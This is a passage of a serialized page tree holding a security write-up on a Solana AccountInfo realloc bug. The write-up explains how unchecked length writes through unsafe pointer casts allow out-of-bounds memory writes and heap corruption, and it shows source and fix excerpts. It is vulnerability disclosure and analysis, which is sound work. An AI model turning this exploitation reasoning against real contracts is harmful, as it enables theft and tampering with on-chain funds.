ue":6249},{"type":24,"tag":930,"props":19319,"children":19320},{"style":1158},[19321],{"type":30,"value":436},{"type":24,"tag":930,"props":19323,"children":19324},{"style":1002},[19325],{"type":30,"value":17008},{"type":24,"tag":930,"props":19327,"children":19328},{"style":959},[19329],{"type":30,"value":1010},{"type":24,"tag":930,"props":19331,"children":19332},{"style":1242},[19333],{"type":30,"value":7129},{"type":24,"tag":930,"props":19335,"children":19336},{"style":959},[19337],{"type":30,"value":5579},{"type":24,"tag":930,"props":19339,"children":19340},{"style":937},[19341],{"type":30,"value":11951},{"type":24,"tag":930,"props":19343,"children":19344},{"style":943},[19345],{"type":30,"value":8972},{"type":24,"tag":930,"props":19347,"children":19348},{"style":959},[19349],{"type":30,"value":5579},{"type":24,"tag":930,"props":19351,"children":19352},{"style":937},[19353],{"type":30,"value":11951},{"type":24,"tag":930,"props":19355,"children":19356},{"style":1158},[19357],{"type":30,"value":12924},{"type":24,"tag":930,"props":19359,"children":19360},{"style":937},[19361],{"type":30,"value":6839},{"type":24,"tag":930,"props":19363,"children":19364},{"style":943},[19365],{"type":30,"value":8972},{"type":24,"tag":930,"props":19367,"children":19368},{"style":959},[19369],{"type":30,"value":1278},{"type":24,"tag":930,"props":19371,"children":19372},{"class":932,"line":993},[19373,19377,19381,19385,19389,19393,19397],{"type":24,"tag":930,"props":19374,"children":19375},{"style":1158},[19376],{"type":30,"value":1410},{"type":24,"tag":930,"props":19378,"children":19379},{"style":1023},[19380],{"type":30,"value":17056},{"type":24,"tag":930,"props":19382,"children":19383},{"style":1158},[19384],{"type":30,"value":6137},{"type":24,"tag":930,"props":19386,"children":19387},{"style":1023},[19388],{"type":30,"value":17065},{"type":24,"tag":930,"props":19390,"children":19391},{"style":937},[19392],{"type":30,"value":11937},{"type":24,"tag":930,"props":19394,"children":19395},{"style":943},[19396],{"type":30,"value":8972},{"type":24,"tag":930,"props":19398,"children":19399},{"style":959},[19400],{"type":30,"value":5539},{"type":24,"tag":33,"props":19402,"children":19403},{},[19404,19406,19412,19414,19425,19427,19433,19435,19441,19443,19448,19450,19455,19457,19467,19468,19475,19476,19483,19490,19492,19498,19500,19506,19508,19513,19514,19519,19521,19527,19529,19534],{"type":30,"value":19405},"That ",{"type":24,"tag":156,"props":19407,"children":19409},{"className":19408},[],[19410],{"type":30,"value":19411},"as_ptr()",{"type":30,"value":19413}," call is ",{"type":24,"tag":37,"props":19415,"children":19418},{"href":19416,"rel":19417},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[41],[19419],{"type":24,"tag":156,"props":19420,"children":19422},{"className":19421},[],[19423],{"type":30,"value":19424},"RefCell::as_ptr()",{"type":30,"value":19426}," due to the ",{"type":24,"tag":156,"props":19428,"children":19430},{"className":19429},[],[19431],{"type":30,"value":19432},"Deref",{"type":30,"value":19434}," impl on ",{"type":24,"tag":156,"props":19436,"children":19438},{"className":19437},[],[19439],{"type":30,"value":19440},"Rc",{"type":30,"value":19442}," (remember also that ",{"type":24,"tag":156,"props":19444,"children":19446},{"className":19445},[],[19447],{"type":30,"value":18607},{"type":30,"value":19449}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":6032,"props":19451,"children":19452},{},[19453],{"type":30,"value":19454},"get",{"type":30,"value":19456}," one through ",{"type":24,"tag":37,"props":19458,"children":19461},{"href":19459,"rel":19460},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[41],[19462],{"type":24,"tag":156,"props":19463,"children":19465},{"className":19464},[],[19466],{"type":30,"value":11911},{"type":30,"value":510},{"type":24,"tag":37,"props":19469,"children":19472},{"href":19470,"rel":19471},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[41],[19473],{"type":30,"value":19474},"and",{"type":30,"value":510},{"type":24,"tag":37,"props":19477,"children":19480},{"href":19478,"rel":19479},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[41],[19481],{"type":30,"value":19482},"frie",{"type":24,"tag":37,"props":19484,"children":19487},{"href":19485,"rel":19486},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[41],[19488],{"type":30,"value":19489},"nds",{"type":30,"value":19491},"). So from ",{"type":24,"tag":156,"props":19493,"children":19495},{"className":19494},[],[19496],{"type":30,"value":19497},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":30,"value":19499}," we get a ",{"type":24,"tag":156,"props":19501,"children":19503},{"className":19502},[],[19504],{"type":30,"value":19505},"*mut &mut [u8]",{"type":30,"value":19507}," - a ",{"type":24,"tag":6032,"props":19509,"children":19510},{},[19511],{"type":30,"value":19512},"pointer",{"type":30,"value":403},{"type":24,"tag":6032,"props":19515,"children":19516},{},[19517],{"type":30,"value":19518},"slice reference",{"type":30,"value":19520},". From here, we turn the pointer into a ",{"type":24,"tag":156,"props":19522,"children":19524},{"className":19523},[],[19525],{"type":30,"value":19526},"*const u64",{"type":30,"value":19528}," pointer and then offset by 1 ",{"type":24,"tag":156,"props":19530,"children":19532},{"className":19531},[],[19533],{"type":30,"value":11152},{"type":30,"value":19535}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":33,"props":19537,"children":19538},{},[19539,19541,19546,19548,19553,19555,19560,19562,19567,19569,19575],{"type":30,"value":19540},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":37,"props":19542,"children":19544},{"href":19543},"#Towards-safer-unsafe",[19545],{"type":30,"value":19214},{"type":30,"value":19547}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":156,"props":19549,"children":19551},{"className":19550},[],[19552],{"type":30,"value":11152},{"type":30,"value":19554}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":6032,"props":19556,"children":19557},{},[19558],{"type":30,"value":19559},"reference",{"type":30,"value":19561}," (the ",{"type":24,"tag":156,"props":19563,"children":19565},{"className":19564},[],[19566],{"type":30,"value":18566},{"type":30,"value":19568},").So, what does ",{"type":24,"tag":156,"props":19570,"children":19572},{"className":19571},[],[19573],{"type":30,"value":19574},"&[T]",{"type":30,"value":19576}," look like in Rust?",{"type":24,"tag":33,"props":19578,"children":19579},{},[19580,19582,19589,19591,19604,19606,19612],{"type":30,"value":19581},"According to ",{"type":24,"tag":37,"props":19583,"children":19586},{"href":19584,"rel":19585},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[41],[19587],{"type":30,"value":19588},"the reference",{"type":30,"value":19590},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":37,"props":19592,"children":19595},{"href":19593,"rel":19594},"https://doc.rust-lang.org/reference/type-layout.html",[41],[19596,19598,19602],{"type":30,"value":19597},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":930,"props":19599,"children":19600},{},[19601],{"type":30,"value":12699},{"type":30,"value":19603}," we only document what is guaranteed today\"",{"type":30,"value":19605},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":156,"props":19607,"children":19609},{"className":19608},[],[19610],{"type":30,"value":19611},"rustc",{"type":30,"value":19613},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":920,"props":19615,"children":19618},{"className":19616,"code":19617,"language":6268,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[19619],{"type":24,"tag":156,"props":19620,"children":19621},{"__ignoreMap":7},[19622,19630,19642,19659,19672],{"type":24,"tag":930,"props":19623,"children":19624},{"class":932,"line":933},[19625],{"type":24,"tag":930,"props":19626,"children":19627},{"style":1422},[19628],{"type":30,"value":19629},"// C language\n",{"type":24,"tag":930,"props":19631,"children":19632},{"class":932,"line":984},[19633,19637],{"type":24,"tag":930,"props":19634,"children":19635},{"style":937},[19636],{"type":30,"value":12509},{"type":24,"tag":930,"props":19638,"children":19639},{"style":959},[19640],{"type":30,"value":19641}," slice_ref {\n",{"type":24,"tag":930,"props":19643,"children":19644},{"class":932,"line":993},[19645,19650,19654],{"type":24,"tag":930,"props":19646,"children":19647},{"style":937},[19648],{"type":30,"value":19649},"    void",{"type":24,"tag":930,"props":19651,"children":19652},{"style":1158},[19653],{"type":30,"value":1410},{"type":24,"tag":930,"props":19655,"children":19656},{"style":959},[19657],{"type":30,"value":19658}," ptr;\n",{"type":24,"tag":930,"props":19660,"children":19661},{"class":932,"line":1057},[19662,19667],{"type":24,"tag":930,"props":19663,"children":19664},{"style":937},[19665],{"type":30,"value":19666},"    size_t",{"type":24,"tag":930,"props":19668,"children":19669},{"style":959},[19670],{"type":30,"value":19671}," len;\n",{"type":24,"tag":930,"props":19673,"children":19674},{"class":932,"line":1066},[19675],{"type":24,"tag":930,"props":19676,"children":19677},{"style":959},[19678],{"type":30,"value":19679},"};\n",{"type":24,"tag":33,"props":19681,"children":19682},{},[19683],{"type":30,"value":19684},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":478,"props":19686,"children":19687},{},[19688,19693,19711],{"type":24,"tag":100,"props":19689,"children":19690},{},[19691],{"type":30,"value":19692},"Slices are laid out in the precise manner described",{"type":24,"tag":100,"props":19694,"children":19695},{},[19696,19698,19704,19706],{"type":30,"value":19697},"Pointers and ",{"type":24,"tag":156,"props":19699,"children":19701},{"className":19700},[],[19702],{"type":30,"value":19703},"usize",{"type":30,"value":19705}," are the same width as ",{"type":24,"tag":156,"props":19707,"children":19709},{"className":19708},[],[19710],{"type":30,"value":11152},{"type":24,"tag":100,"props":19712,"children":19713},{},[19714,19715,19720],{"type":30,"value":259},{"type":24,"tag":156,"props":19716,"children":19718},{"className":19717},[],[19719],{"type":30,"value":18607},{"type":30,"value":19721}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":33,"props":19723,"children":19724},{},[19725,19727,19732,19734,19740,19742,19747,19749,19755,19757,19762,19764,19774],{"type":30,"value":19726},"Assumption #2 is ",{"type":24,"tag":6032,"props":19728,"children":19729},{},[19730],{"type":30,"value":19731},"probably",{"type":30,"value":19733}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":156,"props":19735,"children":19737},{"className":19736},[],[19738],{"type":30,"value":19739},"borrow_mut",{"type":30,"value":19741}," of the ",{"type":24,"tag":156,"props":19743,"children":19745},{"className":19744},[],[19746],{"type":30,"value":18607},{"type":30,"value":19748}," (through ",{"type":24,"tag":156,"props":19750,"children":19752},{"className":19751},[],[19753],{"type":30,"value":19754},"AccountInfo::try_borrow_mut_data()",{"type":30,"value":19756},"), and ",{"type":24,"tag":156,"props":19758,"children":19760},{"className":19759},[],[19761],{"type":30,"value":18607},{"type":30,"value":19763}," is not usable between multiple threads",{"type":24,"tag":18577,"props":19765,"children":19766},{},[19767],{"type":24,"tag":37,"props":19768,"children":19772},{"href":19769,"ariaDescribedBy":19770,"dataFootnoteRef":7,"id":19771},"#user-content-fn-sendsync",[18584],"user-content-fnref-sendsync",[19773],{"type":30,"value":6244},{"type":30,"value":19775},", so we already have exclusive access.",{"type":24,"tag":33,"props":19777,"children":19778},{},[19779,19781,19785],{"type":30,"value":19780},"A few more ",{"type":24,"tag":6032,"props":19782,"children":19783},{},[19784],{"type":30,"value":10219},{"type":30,"value":19786}," things of note, that could have gone badly but didn't:",{"type":24,"tag":96,"props":19788,"children":19789},{},[19790,19832],{"type":24,"tag":100,"props":19791,"children":19792},{},[19793,19795,19801,19803,19808,19810,19815,19817,19822,19824,19830],{"type":30,"value":19794},"By reborrowing the pointer (the ",{"type":24,"tag":156,"props":19796,"children":19798},{"className":19797},[],[19799],{"type":30,"value":19800},"&mut *(\u003Cvalue of type *mut u64>)",{"type":30,"value":19802},"), we've created a reference with an ",{"type":24,"tag":6032,"props":19804,"children":19805},{},[19806],{"type":30,"value":19807},"unbounded lifetime",{"type":30,"value":19809},". Rust is free to infer ",{"type":24,"tag":6032,"props":19811,"children":19812},{},[19813],{"type":30,"value":19814},"any",{"type":30,"value":19816}," lifetime for ",{"type":24,"tag":156,"props":19818,"children":19820},{"className":19819},[],[19821],{"type":30,"value":17056},{"type":30,"value":19823}," (including ",{"type":24,"tag":156,"props":19825,"children":19827},{"className":19826},[],[19828],{"type":30,"value":19829},"'static",{"type":30,"value":19831},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":100,"props":19833,"children":19834},{},[19835,19837,19843,19845,19850,19852,19857,19859,19864,19866,19871,19873,19878,19880,19885,19887,19893,19895,19900,19902,19907,19909,19914,19916,19921,19923,19928],{"type":30,"value":19836},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":156,"props":19838,"children":19840},{"className":19839},[],[19841],{"type":30,"value":19842},"RefMut",{"type":30,"value":19844}," returned from ",{"type":24,"tag":156,"props":19846,"children":19848},{"className":19847},[],[19849],{"type":30,"value":16981},{"type":30,"value":19851},", but the ",{"type":24,"tag":156,"props":19853,"children":19855},{"className":19854},[],[19856],{"type":30,"value":19842},{"type":30,"value":19858}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":156,"props":19860,"children":19862},{"className":19861},[],[19863],{"type":30,"value":17056},{"type":30,"value":19865}," a ",{"type":24,"tag":6032,"props":19867,"children":19868},{},[19869],{"type":30,"value":19870},"mutable",{"type":30,"value":19872}," pointer to the ",{"type":24,"tag":156,"props":19874,"children":19876},{"className":19875},[],[19877],{"type":30,"value":18607},{"type":30,"value":19879},"'s data, but the ",{"type":24,"tag":156,"props":19881,"children":19883},{"className":19882},[],[19884],{"type":30,"value":18607},{"type":30,"value":19886}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":156,"props":19888,"children":19890},{"className":19889},[],[19891],{"type":30,"value":19892},"Mutex",{"type":30,"value":19894}," instead of a ",{"type":24,"tag":156,"props":19896,"children":19898},{"className":19897},[],[19899],{"type":30,"value":18607},{"type":30,"value":19901}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":156,"props":19903,"children":19905},{"className":19904},[],[19906],{"type":30,"value":17056},{"type":30,"value":19908}," and writing to it ",{"type":24,"tag":6032,"props":19910,"children":19911},{},[19912],{"type":30,"value":19913},"and succeed",{"type":30,"value":19915},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":156,"props":19917,"children":19919},{"className":19918},[],[19920],{"type":30,"value":17056},{"type":30,"value":19922}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":156,"props":19924,"children":19926},{"className":19925},[],[19927],{"type":30,"value":6817},{"type":30,"value":19929}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":33,"props":19931,"children":19932},{},[19933,19935,19940],{"type":30,"value":19934},"Ok, now that we've understood what the code is ",{"type":24,"tag":6032,"props":19936,"children":19937},{},[19938],{"type":30,"value":19939},"trying",{"type":30,"value":19941}," to do, let's try to break it, shall we?",{"type":24,"tag":68,"props":19943,"children":19945},{"id":19944},"what-can-go-wrong",[19946],{"type":30,"value":19947},"What can go wrong?",{"type":24,"tag":151,"props":19949,"children":19951},{"id":19950},"contracts",[19952],{"type":30,"value":19953},"Contracts",{"type":24,"tag":33,"props":19955,"children":19956},{},[19957,19959,19964,19966,19971,19973,19978,19980,19985],{"type":30,"value":19958},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":156,"props":19960,"children":19962},{"className":19961},[],[19963],{"type":30,"value":16745},{"type":30,"value":19965},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":156,"props":19967,"children":19969},{"className":19968},[],[19970],{"type":30,"value":16745},{"type":30,"value":19972}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":156,"props":19974,"children":19976},{"className":19975},[],[19977],{"type":30,"value":18396},{"type":30,"value":19979}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":156,"props":19981,"children":19983},{"className":19982},[],[19984],{"type":30,"value":6817},{"type":30,"value":19986}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":33,"props":19988,"children":19989},{},[19990,19992,19999],{"type":30,"value":19991},"There is ",{"type":24,"tag":37,"props":19993,"children":19996},{"href":19994,"rel":19995},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[41],[19997],{"type":30,"value":19998},"a check",{"type":30,"value":20000}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":920,"props":20002,"children":20004},{"className":6102,"code":20003,"language":6101,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[20005],{"type":24,"tag":156,"props":20006,"children":20007},{"__ignoreMap":7},[20008,20046,20076,20083,20116],{"type":24,"tag":930,"props":20009,"children":20010},{"class":932,"line":933},[20011,20015,20020,20024,20028,20032,20036,20041],{"type":24,"tag":930,"props":20012,"children":20013},{"style":1079},[20014],{"type":30,"value":18683},{"type":24,"tag":930,"props":20016,"children":20017},{"style":1023},[20018],{"type":30,"value":20019}," post_len",{"type":24,"tag":930,"props":20021,"children":20022},{"style":1158},[20023],{"type":30,"value":436},{"type":24,"tag":930,"props":20025,"children":20026},{"style":1002},[20027],{"type":30,"value":17398},{"type":24,"tag":930,"props":20029,"children":20030},{"style":959},[20031],{"type":30,"value":1010},{"type":24,"tag":930,"props":20033,"children":20034},{"style":1158},[20035],{"type":30,"value":1410},{"type":24,"tag":930,"props":20037,"children":20038},{"style":1023},[20039],{"type":30,"value":20040},"pre_len",{"type":24,"tag":930,"props":20042,"children":20043},{"style":959},[20044],{"type":30,"value":20045},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":930,"props":20047,"children":20048},{"class":932,"line":984},[20049,20054,20058,20062,20067,20071],{"type":24,"tag":930,"props":20050,"children":20051},{"style":1158},[20052],{"type":30,"value":20053},"    ||",{"type":24,"tag":930,"props":20055,"children":20056},{"style":1023},[20057],{"type":30,"value":20019},{"type":24,"tag":930,"props":20059,"children":20060},{"style":1158},[20061],{"type":30,"value":17300},{"type":24,"tag":930,"props":20063,"children":20064},{"style":959},[20065],{"type":30,"value":20066}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":930,"props":20068,"children":20069},{"style":937},[20070],{"type":30,"value":11951},{"type":24,"tag":930,"props":20072,"children":20073},{"style":943},[20074],{"type":30,"value":20075}," usize\n",{"type":24,"tag":930,"props":20077,"children":20078},{"class":932,"line":993},[20079],{"type":24,"tag":930,"props":20080,"children":20081},{"style":959},[20082],{"type":30,"value":13987},{"type":24,"tag":930,"props":20084,"children":20085},{"class":932,"line":1057},[20086,20091,20095,20099,20103,20107,20112],{"type":24,"tag":930,"props":20087,"children":20088},{"style":1079},[20089],{"type":30,"value":20090},"    return",{"type":24,"tag":930,"props":20092,"children":20093},{"style":943},[20094],{"type":30,"value":18852},{"type":24,"tag":930,"props":20096,"children":20097},{"style":959},[20098],{"type":30,"value":1010},{"type":24,"tag":930,"props":20100,"children":20101},{"style":943},[20102],{"type":30,"value":18861},{"type":24,"tag":930,"props":20104,"children":20105},{"style":1158},[20106],{"type":30,"value":6597},{"type":24,"tag":930,"props":20108,"children":20109},{"style":943},[20110],{"type":30,"value":20111},"InvalidRealloc",{"type":24,"tag":930,"props":20113,"children":20114},{"style":959},[20115],{"type":30,"value":1278},{"type":24,"tag":930,"props":20117,"children":20118},{"class":932,"line":1066},[20119],{"type":24,"tag":930,"props":20120,"children":20121},{"style":959},[20122],{"type":30,"value":2528},{"type":24,"tag":33,"props":20124,"children":20125},{},[20126,20128,20133,20135,20140],{"type":30,"value":20127},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":6032,"props":20129,"children":20130},{},[20131],{"type":30,"value":20132},"finishes",{"type":30,"value":20134}," execution. ",{"type":24,"tag":6032,"props":20136,"children":20137},{},[20138],{"type":30,"value":20139},"During",{"type":30,"value":20141}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":33,"props":20143,"children":20144},{},[20145,20147,20152,20154,20159,20161,20168],{"type":30,"value":20146},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":6032,"props":20148,"children":20149},{},[20150],{"type":30,"value":20151},"arbitrary",{"type":30,"value":20153}," memory access through a mistakenly-",{"type":24,"tag":156,"props":20155,"children":20157},{"className":20156},[],[20158],{"type":30,"value":16745},{"type":30,"value":20160},"'d account, this falls in the relm of some ",{"type":24,"tag":37,"props":20162,"children":20165},{"href":20163,"rel":20164},"https://en.wikipedia.org/wiki/Buffer_overflow",[41],[20166],{"type":30,"value":20167},"old-school pwning",{"type":30,"value":20169}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":151,"props":20171,"children":20173},{"id":20172},"not-contracts",[20174],{"type":30,"value":20175},"Not-contracts?",{"type":24,"tag":33,"props":20177,"children":20178},{},[20179,20181,20186,20188,20198,20200,20212,20214,20221,20223,20228,20230,20235,20237,20250,20252,20257,20259,20264],{"type":30,"value":20180},"Remember when we said that all this code makes sense ",{"type":24,"tag":6032,"props":20182,"children":20183},{},[20184],{"type":30,"value":20185},"if the data points to the BPF loader's serialized buffer",{"type":30,"value":20187},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":37,"props":20189,"children":20192},{"href":20190,"rel":20191},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[41],[20193],{"type":24,"tag":156,"props":20194,"children":20196},{"className":20195},[],[20197],{"type":30,"value":18042},{"type":30,"value":20199}," are public, and so is its ",{"type":24,"tag":37,"props":20201,"children":20204},{"href":20202,"rel":20203},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[41],[20205,20210],{"type":24,"tag":156,"props":20206,"children":20208},{"className":20207},[],[20209],{"type":30,"value":18226},{"type":30,"value":20211}," method",{"type":30,"value":20213}," (which is ",{"type":24,"tag":37,"props":20215,"children":20218},{"href":20216,"rel":20217},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[41],[20219],{"type":30,"value":20220},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":30,"value":20222},"). The ",{"type":24,"tag":156,"props":20224,"children":20226},{"className":20225},[],[20227],{"type":30,"value":16745},{"type":30,"value":20229}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":156,"props":20231,"children":20233},{"className":20232},[],[20234],{"type":30,"value":18042},{"type":30,"value":20236}," ourselves - potentially through the ",{"type":24,"tag":37,"props":20238,"children":20241},{"href":20239,"rel":20240},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[41],[20242,20248],{"type":24,"tag":156,"props":20243,"children":20245},{"className":20244},[],[20246],{"type":30,"value":20247},"Account",{"type":30,"value":20249}," trait",{"type":30,"value":20251},", which is hardly documented at all and makes ",{"type":24,"tag":6032,"props":20253,"children":20254},{},[20255],{"type":30,"value":20256},"no",{"type":30,"value":20258}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":156,"props":20260,"children":20262},{"className":20261},[],[20263],{"type":30,"value":6817},{"type":30,"value":20265}," buffer.",{"type":24,"tag":33,"props":20267,"children":20268},{},[20269,20271,20282,20284,20290,20292,20298,20300,20313,20315,20320,20322,20327,20329,20334,20336,20341,20343,20348,20350,20355],{"type":30,"value":20270},"One long arm of this is ",{"type":24,"tag":37,"props":20272,"children":20275},{"href":20273,"rel":20274},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[41],[20276],{"type":24,"tag":156,"props":20277,"children":20279},{"className":20278},[],[20280],{"type":30,"value":20281},"solana_sdk::account::Account",{"type":30,"value":20283}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":156,"props":20285,"children":20287},{"className":20286},[],[20288],{"type":30,"value":20289},"Vec\u003Cu8>",{"type":30,"value":20291},", and it implements ",{"type":24,"tag":156,"props":20293,"children":20295},{"className":20294},[],[20296],{"type":30,"value":20297},"solana_program::account_info::Account",{"type":30,"value":20299}," (the trait from earlier) - by ",{"type":24,"tag":37,"props":20301,"children":20304},{"href":20302,"rel":20303},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[41],[20305,20307],{"type":30,"value":20306},"returning a reference to the contents of that ",{"type":24,"tag":156,"props":20308,"children":20310},{"className":20309},[],[20311],{"type":30,"value":20312},"Vec",{"type":30,"value":20314},". So, ",{"type":24,"tag":156,"props":20316,"children":20318},{"className":20317},[],[20319],{"type":30,"value":16745},{"type":30,"value":20321}," writes the size into the 8 bytes right before ",{"type":24,"tag":156,"props":20323,"children":20325},{"className":20324},[],[20326],{"type":30,"value":6817},{"type":30,"value":20328},"; ",{"type":24,"tag":156,"props":20330,"children":20332},{"className":20331},[],[20333],{"type":30,"value":6817},{"type":30,"value":20335}," is the buffer of a ",{"type":24,"tag":156,"props":20337,"children":20339},{"className":20338},[],[20340],{"type":30,"value":20312},{"type":30,"value":20342},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":156,"props":20344,"children":20346},{"className":20345},[],[20347],{"type":30,"value":18042},{"type":30,"value":20349}," out of an SDK ",{"type":24,"tag":156,"props":20351,"children":20353},{"className":20352},[],[20354],{"type":30,"value":20247},{"type":30,"value":20356}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":68,"props":20358,"children":20360},{"id":20359},"remediation",[20361],{"type":30,"value":20362},"Remediation",{"type":24,"tag":33,"props":20364,"children":20365},{},[20366],{"type":30,"value":20367},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":33,"props":20369,"children":20370},{},[20371,20373,20378,20380,20385,20387,20398,20400,20405,20407,20414],{"type":30,"value":20372},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":156,"props":20374,"children":20376},{"className":20375},[],[20377],{"type":30,"value":18042},{"type":30,"value":20379},"... except for the fact that the layout of ",{"type":24,"tag":156,"props":20381,"children":20383},{"className":20382},[],[20384],{"type":30,"value":18042},{"type":30,"value":20386}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":18577,"props":20388,"children":20389},{},[20390],{"type":24,"tag":37,"props":20391,"children":20395},{"href":20392,"ariaDescribedBy":20393,"dataFootnoteRef":7,"id":20394},"#user-content-fn-layout",[18584],"user-content-fnref-layout",[20396],{"type":30,"value":20397},"3",{"type":30,"value":20399}," So, with changing ",{"type":24,"tag":156,"props":20401,"children":20403},{"className":20402},[],[20404],{"type":30,"value":18042},{"type":30,"value":20406}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":37,"props":20408,"children":20411},{"href":20409,"rel":20410},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[41],[20412],{"type":30,"value":20413},"this function",{"type":30,"value":476},{"type":24,"tag":920,"props":20416,"children":20418},{"className":6102,"code":20417,"language":6101,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[20419],{"type":24,"tag":156,"props":20420,"children":20421},{"__ignoreMap":7},[20422,20430,20438,20446,20454,20461,20469,20477,20525,20590,20656,20677],{"type":24,"tag":930,"props":20423,"children":20424},{"class":932,"line":933},[20425],{"type":24,"tag":930,"props":20426,"children":20427},{"style":1422},[20428],{"type":30,"value":20429},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":930,"props":20431,"children":20432},{"class":932,"line":984},[20433],{"type":24,"tag":930,"props":20434,"children":20435},{"style":1422},[20436],{"type":30,"value":20437},"/// current program invocation.\n",{"type":24,"tag":930,"props":20439,"children":20440},{"class":932,"line":993},[20441],{"type":24,"tag":930,"props":20442,"children":20443},{"style":1422},[20444],{"type":30,"value":20445},"///\n",{"type":24,"tag":930,"props":20447,"children":20448},{"class":932,"line":1057},[20449],{"type":24,"tag":930,"props":20450,"children":20451},{"style":1422},[20452],{"type":30,"value":20453},"/// # 